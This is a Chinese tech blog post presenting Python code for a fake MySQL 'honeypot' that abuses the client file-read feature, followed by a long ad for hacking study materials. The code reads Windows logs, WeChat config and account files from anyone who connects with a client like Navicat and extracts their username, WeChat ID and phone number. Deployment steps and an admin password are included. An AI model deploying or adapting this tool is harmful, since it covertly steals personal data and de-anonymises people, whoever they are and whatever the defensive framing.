【网络安全】如何通过蜜罐技术获取对方的手机号?_黑客教你查询某人手机号

判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
如果是直接连接,去读取设定好的文件,并写入本地保存。

def mysql\_get\_file\_content(filename,conn,address):
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    conn.sendall("xxx")
    try:
        conn.recv(1024000)
    except Exception as e:
        print(e)
    try:
        conn.sendall("xx")
        res1 = conn.recv(1024000)
        # SHOW VARIABLES
        if 'SHOW VARIABLES' in res1:
            conn.sendall("xxx")
            res2 = conn.recv(9999)
            if 'SHOW WARNINGS' in res2:
                conn.sendall("xxx")
                res3 = conn.recv(9999)
                if 'SHOW COLLATION' in res3:
                    conn.sendall("xxx")
                    res4 = conn.recv(9999)
                    if 'SET NAMES utf8' in res4:
                        conn.sendall("xxx")
                        res5 = conn.recv(9999)
                        if 'SET character\_set\_results=NULL' in res5:
                            conn.sendall("xxx")
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                conn.close()
        else:
            try:
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
                conn.sendall(wantfile)
                content=''
                while True:
                    data = conn.recv(1024)
                    print len(data)
                    content += data
                    if len(data) < 1024:
                        print 'ok'
                        break
                    
                conn.close()
                item=logpath + "/" + filename.replace("/", "\_").replace(":", "")+'\_'+str(random.random())
                if len(content) > 6:
                    with open(item, "w") as f:
                        f.write(content)
                        f.close()
                    return (True,content)
                else:
                    return (False,content)
            except Exception as e:
                print (e)
    except Exception as e:
        print (e)


为了防止读取文件内容不完整,可以加入while循环。

while True:
        conn, address = sv.accept()
        first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        global files1
        global username
        global wx_id
        file=files1[0].replace('Administrator',username).replace('wx\_id',wx_id)
        res,content = mysql_get_file_content(file,conn,address)
        files1.append(files1[0])
        files1.remove(files1[0])
        if res:
            if 'PFRO' in file:
                username = get_username(content)
                s= "xx" % (xx)
                cursor.execute(s)
                data = cursor.fetchall()
                if len(data)==0:
                    s = "XX" % (xx)
                    cursor.execute(s)
                    db.commit()
                    print 'success:'+ file
                    insert_file(file,address,username)
            elif 'config.data'in file:
                content = content
                wxid = re.findall(r'WeChatFiles\(.\*)\config', content)[0]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                wx_id=wxid
                img = qrcode.make('weixin://contacts/profile/'+wxid)
                img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
                print 'success:'+ file
                insert_file(file,address,username)
            elif 'AccInfo' in file:
                content = content
                phone = re.findall(r'[0-9]{11}', content)[-1]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                print 'success:'+ file
                insert_file(file,address,username)
        else:
            files1=files
            username='Administrator'


部署方法

我们需要先将工具下载下来传入服务器

然后修改webServer.py中admin的密码,当然,你也可以更换用户名,这个根据个人习惯来修改。

然后通过docker启用服务

然后运行本项目

复制代码docker-compose up -d

使用方法

攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。

攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址。

并可以在5000端口访问后台,输入我们刚才设置的admin以及密码fancypig
然后就可以看到攻击者信息了!参考文献

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值